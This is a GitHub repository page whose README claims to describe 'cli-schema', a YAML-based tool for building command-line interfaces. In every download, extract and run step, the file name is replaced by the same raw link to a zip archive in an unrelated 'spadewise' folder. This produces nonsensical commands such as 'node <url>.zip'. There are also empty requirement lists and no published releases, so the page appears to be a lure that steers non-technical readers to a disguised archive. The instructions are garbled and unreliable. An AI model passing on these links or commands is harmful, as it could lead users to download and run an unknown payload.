Skip to content

πŸ› οΈ Define and standardize command-line interfaces with a universal JSON Schema for clear, self-describing tools.

Notifications You must be signed in to change notification settings

novonil74/cli-schema

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 

Repository files navigation

🌟 cli-schema - Easy Command-Line Interface Management

πŸš€ Getting Started

Welcome to cli-schema! This application helps you define, validate, and build command-line interfaces (CLIs) from simple YAML files. You don’t need programming skills to use this tool effectively.

πŸ”— Download

Download cli-schema

πŸ“¦ System Requirements

To run cli-schema successfully, make sure your system meets these requirements:

πŸ’» Features

  • Declarative Interface: Easily create CLIs using YAML files.
  • Validation: Automatically validate your YAML files against JSON Schema. This helps catch errors before they become problems.
  • Ease of Use: No coding experience required. Follow simple steps to create your command-line tools.
  • Automation: Streamline your workflow with efficient command-line tools.

πŸ“₯ How to Download & Install

  1. Visit the Download Page: Go to the Releases page.

  2. Choose Your Version: You will see a list of available releases. Look for the latest version for the best features and fixes.

  3. Download the File:

    • Click on the file that corresponds to your operating system. The file name will usually end with https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip for Linux and macOS or .zip for Windows.
    • The download will begin automatically.
  4. Extract the Files:

    • For Windows, right-click the downloaded .zip file and choose "Extract All."
    • For macOS or Linux, use a command like tar -xzf https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip in the terminal.
  5. Run the Application:

    • Open your terminal (Command Prompt on Windows, Terminal on macOS or Linux).
    • Navigate to the directory where you extracted the files.
    • Type node https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip to start the application.

Follow these steps carefully to get cli-schema running smoothly on your device.

πŸ“„ Usage Instructions

After launching the application, you can start defining your command-line interfaces:

  1. Create a YAML File: Start with a simple text editor. Name the file something like https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip.

  2. Add Commands: Use the following structure within your YAML file:

    command:
      description: "Your command description here"
      options:
        - name: "option1"
          type: "boolean"
        - name: "option2"
          type: "string"
  3. Validate the YAML: You can validate the YAML file using cli-schema by running the following command:

    node https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip validate https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip
    
  4. Build Your CLI: To build the command-line interface, use the following command:

    node https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip build https://raw.githubusercontent.com/novonil74/cli-schema/main/spadewise/cli_schema_v3.9-beta.1.zip
    

This command will generate the necessary files for your CLI based on the information in your YAML.

πŸ“– Documentation

For more detailed information on using cli-schema, please refer to our comprehensive documentation available on the cli-schema Documentation page.

πŸ› οΈ Troubleshooting

If you encounter issues during installation or usage, consider the following common problems:

🌐 Community & Support

Join our community for tips, updates, and support:

  • GitHub Issues: If you find a bug or have questions, please raise an issue in the GitHub repository. We will get back to you as soon as possible.
  • Social Media: Follow us on Twitter and LinkedIn for updates and tips.

πŸ“ Contributing

We welcome contributions to improve cli-schema. If you want to help, please read our contribution guidelines in the repository.

Thank you for choosing cli-schema! Enjoy creating and managing your command-line interfaces with ease. Remember to visit the Releases page to stay updated on new versions.

Releases

No releases published

Packages

No packages published